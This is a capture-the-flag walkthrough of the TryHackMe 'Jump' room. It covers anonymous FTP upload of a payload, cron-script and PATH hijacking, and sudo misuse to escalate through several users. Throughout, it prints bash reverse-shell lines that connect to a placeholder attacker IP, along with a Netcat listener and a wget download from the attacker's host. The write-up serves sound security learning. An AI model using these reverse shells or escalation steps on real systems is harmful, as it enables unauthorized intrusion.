TryHackMe Write up — Jump

Ruben Acosta

5 min read

·

Oct 4, 2026

--

Listen

Share

Press enter or click to view image in full size

Reconnaissance

We begin by using Nmap to identify open ports. The scan reveals:

Port 21 → FTP
Port 22 → SSH

Next, we run a version detection and default scripts scan to gather more information about the services:

nmap -sV -sC MACHINE-IP -p 21,22

Press enter or click to view image in full size

Findings

1. FTP allows anonymous login, which may provide a way to upload a payload or retrieve useful information.

We connect to the FTP service with ftp MACHINE-IP and, while exploring the available files, find README.txt. We download it:

ftp> get README.TXT

Reading the file reveals the following message:

Findings

1. The incoming directory is where we can place a file to trigger a reverse shell.
2. Files are executed immediately after being uploaded to incoming.
3. The file must use an accepted format. We may need to work around the system’s restrictions if the format we want to use is on its blacklist.

First, we open a terminal on our attacking machine and start a Netcat listener:

nc -lvnp 4545

We then create a malicious file containing the following payload:

#!/bin/bash
/bin/bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1

Once the file is ready, we use anonymous FTP login to navigate to the incoming directory and upload it:

put /file/path file-name.sh

After a few seconds, we receive a reverse shell on our machine.

Press enter or click to view image in full size

The first flag is located in the recon_user home directory.

Privilege Escalation to dev_user

To monitor running processes in real time, we use pspy64. We transfer it to the target machine over HTTP by starting a simple web server on our attacking machine.

On the attacking machine:

sudo python3 -m http.server

On the target machine:

wget http://ATTACKER-IP:8000/pspy64

We make the binary executable:

chmod 777 pspy64

When we run it, we spot a file named backup.sh

Press enter or click to view image in full size

The file belongs to UID 1002, which corresponds to dev_user. We confirm that recon_user and dev_user share the dev_user group. Checking the permissions on backup.sh, we find that our current user can write to and execute it.

We can add a payload to the script to establish another reverse shell, this time as dev_user:

/bin/bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1

Press enter or click to view image in full size

The second flag is in the dev_user home directory.

Privilege Escalation to monitor_user

Using pspy64, we find two points of interest:

1. A file named healthcheck, owned by UID 1003 (monitor_user).
2. The ps command being run by UID 1003 (monitor_user).

Press enter or click to view image in full size

We inspect the contents of healthcheck:

#!/bin/bash
echo "Running as: $(whoami)"
while true; do
  ps aux | grep -v grep
  sleep 5
done

The healthcheck service runs ps without specifying its full path. This means we may be able to place our own ps executable earlier in the command search path. We move to /opt/dev/bin and edit the ps command to include a reverse-shell payload:

#!/bin/bash
/bin/bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1

We make it executable with chmod and wait for the connection on our attacking machine’s Netcat listener:

Press enter or click to view image in full size

The third flag is in the monitor_user home directory.

Privilege Escalation to ops_user

We run sudo -l to check which commands monitor_user can execute with sudo:

monitor_user@tryhackme-2404:~$ sudo -l
Matching Defaults entries for monitor_user on tryhackme-2404:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=LESS
User monitor_user may run the following commands on tryhackme-2404:
    (ops_user) NOPASSWD: /usr/local/bin/deploy.sh

We can run deploy.sh as ops_user. Let’s inspect the script and its permissions:

monitor_user@tryhackme-2404:~$ cat /usr/local/bin/deploy.sh
#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh

Press enter or click to view image in full size

The deploy.sh script changes to /opt/app and runs deploy_helper.sh. We can read and execute deploy.sh, but we cannot modify it. Next, we inspect the contents and permissions of deploy_helper.sh:

monitor_user@tryhackme-2404:/opt/app$ cat deploy_helper.sh
#!/bin/bash
echo "[+] Deploy helper running"
echo "[+] Syncing application files"
sleep 2

Press enter or click to view image in full size

The helper script prints two messages and pauses for two seconds. Since it is owned by our current user, monitor_user, and we have write access, we can edit it and add a reverse-shell payload. When the script is run through deploy.sh with sudo, the payload executes as ops_user:

/bin/bash -i >& /dev/tcp/ATTACKER-IP/ATTACKER-PORT 0>&1

We start a Netcat listener, return to /usr/local/bin, and run deploy.sh as ops_user:

monitor_user@tryhackme-2404:/usr/local/bin$ sudo -u ops_user deploy.sh

Press enter or click to view image in full size

The fourth flag is in the ops_user home directory.

Privilege Escalation to Root

Once again, we run sudo -l and discover that we can run less as root. At this point, we do not need to escalate to a root shell: we can use less to read /root/flag.txt directly and retrieve the final flag.

ops_user@tryhackme-2404:/$ sudo less /root/flag.txt